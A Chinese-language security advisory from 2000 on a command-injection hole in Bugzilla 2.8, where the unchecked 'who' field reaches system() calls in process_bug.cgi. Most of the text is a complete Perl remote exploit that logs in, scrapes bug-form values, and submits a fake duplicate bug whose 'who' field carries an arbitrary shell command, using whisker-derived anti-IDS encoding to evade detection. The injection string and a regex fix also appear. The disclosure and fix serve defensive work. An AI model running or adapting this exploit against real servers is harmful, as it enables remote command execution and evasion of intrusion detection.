Bugzilla 2.8对系统调用没有进行正常检查发布时间:2000-12-01 更新时间:2000-12-01 严重程度:高 威胁程度:普通用户访问权限 错误类型:输入验证错误 利用方式:服务器模式 受影响系统 Bugzilla 2.8详细描述 Bugzilla是一个用于报告BUG的数据库,它允许用户报告BUG和把BUG报告给相应的开发者。开发商可以使用 Bugzilla来维护一to-do列表来,记得apache.org也使用了此应用程序。在数据库中有一些条目如Enhancement Requests 或者Requests For Enhancement --简写为 RFE,在这里RFE存在一BUG,当你输入计划工作的任务作为enhancement请求时,Bugilla会帮助你跟踪他们并且允许其他用户看到你计划的进展情况,如果用户可以看到计划表,其他用户就可以避免重复你的工作。 下面是一段CGI程序,是用来连接数据库和报告BUG的。/* * The bug */ 其中之一的一个脚本--`process_bug.cgi`, 处理新的 BUG发送,通过了下面的脚本代用了perl脚本perlscript `processmail`: system("./processmail $::FORM{'dup_id'} $::FORM{'who'}"); if this bugreport is a duplicate of the bug with id 'dup_id' system("./processmail $id $::FORM{'who'}"); for a normal bugreport system("./processmail $k $::FORM{'who'}"); 每一个BUG报告需要依靠上面的脚本,但其对who ($::FORM{'who'})这一栏没有对其内容进行正常的检查。 /* * The exploit */ 而这个错误就可以被利用,因为当发送一条BUG时$::FORM {'who'}调用了who但没有对其内容进行正确的检查,那么我们就可以使用下面的方法发送内容: who=blaat@blaat.com;id;& 下面的EXPLOIT是使用复制的选项来报告一个不存在的 BUG,所以这个结果不会显示在任何地方,因为重复的将被 bugzilla拒绝发布。 测试代码 #!/usr/bin/perl # Bugzilla 2.8 remote exploit # by {} - karin@root66.nl.eu.org # RooT66 - http://root66.nl.eu.org # ShellOracle - http://www.shelloracle.cjb.net # b0f - http://b0f.freebsd.lublin.pl # # This exploits uses antiIDS tricks ripped from whisker # next 2 functinos stolen from whisker, commented by me sub rstr { # no, this is not a cryptographically-robust number generator my $str,$c; $drift=(rand() * 10) % 10; for($c=0;$c<10+$drift;$c++){ $str .= chr(((rand() * 26) % 26) + 97);} # yes, we only use a-z return $str;} sub antiIDS { ($url) = (@_); $url =~s/([-a-zA-Z0-9.\<\>\\\|\'\`])/sprintf("%%%x",ord($1))/ge; $url =~ s/\ /+/g; $url =~s/\//\/.\//g; return $url; } #end of stolen stuff ($complete_url, $Bugzilla_login, $Bugzilla_password, $command) = (@ARGV); print("Exploit for Bugzilla up to version 2.8\n"); print(" by {} - karin\@root66.nl.eu.org\n"); print("~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~\n"); print("RooT66 - http://root66.nl.eu.org\n"); print("ShellOracle - http://www.shelloracle.cjb.net\n"); print("b0f - http://b0f.freebsd.lublin.pl\n"); print("\n"); if ($complete_url eq "-h" || $complete_url eq "--help") { print("Usage: $0 url emailaddress password command\n"); exit; } # Get information of user if (!$complete_url) { print("URL: "); $complete_url = <STDIN>; chomp($complete_url); $complete_url =~ s/http:\/\///; } if (!$Bugzilla_login) { print("EMAIL: "); $Bugzilla_login = <STDIN>; chomp($Bugzilla_login); } if (!$Bugzilla_password) { print("PASSWORD: "); $Bugzilla_password = <STDIN>; chomp($Bugzilla_password); } if (!$command) { print("COMMAND: "); $command = <STDIN>; chomp($command); } # Set some variables $host = $complete_url; $host =~ s/\/.*//; $base_dir = $complete_url; $base_dir =~ s/^$host//; $base_dir =~ s/[a-zA-Z.]*$//; # Make own directory system("mkdir $$"); print("Getting information needed to submit our 'bug'\n"); # Get product name system("cd $$; lynx -source \"http://$host/" . antiIDS("$base_dir/enter_bug.cgi") . "?Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password") . "\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = <FILE>) { if ($input =~ /enter_bug.cgi\?product=/) { chomp($input); $product = $input; $product =~ s/.*product=//; $product =~ s/".*//; if ($product =~ /\&component=/) { $component = $product; $product =~ s/&.*//; # strip component $component =~ s/.*component=//; $component =~ s/".*//; } } } print("\tProduct: $product\n"); if ($component) { print("\tComponent: $component\n"); } # Get more information $page = antiIDS("$base_dir/enter_bug.cgi?") . "product=" . antiIDS("$product") . "&Bugzilla_login=" . antiIDS("$Bugzilla_login") . "&Bugzilla_password=" . antiIDS("$Bugzilla_password"); system("cd $$; lynx -dump \"http://$host/$page\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = <FILE>) { chomp($input); if ($input =~ /Reporter:/) { $reporter = $input; $reporter =~ s/.*Reporter: //; $reporter =~ s/\ .*//; } if ($input =~ /Version:/) { $version = $input; $version =~ s/.*Version: \[//; $version =~ s/\.*\].*//; } if ($input =~ /Component:/) { $component = $input; $component =~ s/.*Component: \[//; $component =~ s/\.*\].*//; } if ($input =~ /Platform:/) { $platform = $input; $platform =~ s/.*Platform: \[//; $platform =~ s/\.*\].*//; } if ($input =~ /OS:/) { $os = $input; $os =~ s/.*OS: \[//; $os =~ s/\.*\].*//; } if ($input =~ /Priority:/) { $priority = $input; $priority =~ s/.*Priority: \[//; $priority =~ s/\].*//; } if ($input =~ /Severity:/) { $severity = $input; $severity =~ s/.*Severity: \[//; $severity =~ s/\.*\].*//; } } print("\tReporter: $reporter\n"); print("\tVersion: $version\n"); print("\tComponent: $component\n"); print("\tPlatform: $platform\n"); print("\tOS: $os\n"); print("\tPriority: $priority\n"); print("\tSeverity: $severity\n"); close(FILE); #liftoff print("Sending evil bug report\n"); $page = antiIDS("$base_dir/process_bug.cgi") . "?bug_status=" . antiIDS("NEW") . "&reporter=" . antiIDS($reporter) . "&product=" . antiIDS("$product") . "&version=" . antiIDS("$version") . "&component=" . antiIDS("$component") . "&rep_platform=" . antiIDS("$platform") . "&op_sys=" . antiIDS($os) . "&priority=" . antiIDS($priority) . "&bug_severity=" . antiIDS($severity) . "&who=". antiIDS("blaat\@blaat.com;echo \\<pre\\>START OUTPUT COMMAND;$command;echo \\<\\/pre\\>END OUTPUT COMMAND;") . "&knob=" . antiIDS("duplicate") . "&dup_id=" . antiIDS("202021234123412341234") . "&Bugzilla_login=" . antiIDS($Bugzilla_login) . "&Bugzilla_password=" . antiIDS($Bugzilla_password) . "&assigned_to=&cc=&bug_file_loc=&short_desc=&comment=&form_name=enter_bug"; system("cd $$; lynx -dump \"$host/$page\" > enter_bug.cgi"); open(FILE, "< $$/enter_bug.cgi"); while($input = <FILE>) { chomp($input); if ($input =~ /END OUTPUT COMMAND/) { $startoutput = 0; } if ($startoutput) { print("$input\n"); } if ($input =~ /START OUTPUT COMMAND/) { $startoutput = 1; } } close(FILE); # Delete shit system("rm -rf $$"); 解决方案 在process_mail开头,我们可以在$::FORM{'who'} 设置中一常规的表达式检查如: if (!defined $::FORM{'who'}) { $::FORM{'who'} = $::COOKIE{'Bugzilla_login'}; } 中加入: # fix by {} - karin@root66.nl.eu.org # we wouldn't like some hacker including shellchars, whould we? $::FORM{'who'} =~ s/[^a-zA-Z0-9\@_\-\.\/\+]//g; 相关信息 |